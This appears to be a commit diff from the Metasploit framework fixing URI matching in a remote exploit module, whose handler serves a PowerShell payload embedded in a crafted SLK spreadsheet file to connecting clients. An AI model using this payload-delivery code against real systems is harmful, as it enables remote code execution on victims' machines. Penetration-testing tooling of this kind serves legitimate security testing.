Fix request pattern matching
parent
47fd066a29
commit
2d1cecd4d5
|
@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.raw_uri.to_s.end_with? '.slk$'
|
||||
if request.raw_uri.to_s.end_with? '.slk'
|
||||
print_status("Handling request for .slk from #{cli.peerhost}")
|
||||
payload = gen_psh("#{get_uri}", "string")
|
||||
data = create_slk(payload)
|
||||
|
|
Loading…
Reference in New Issue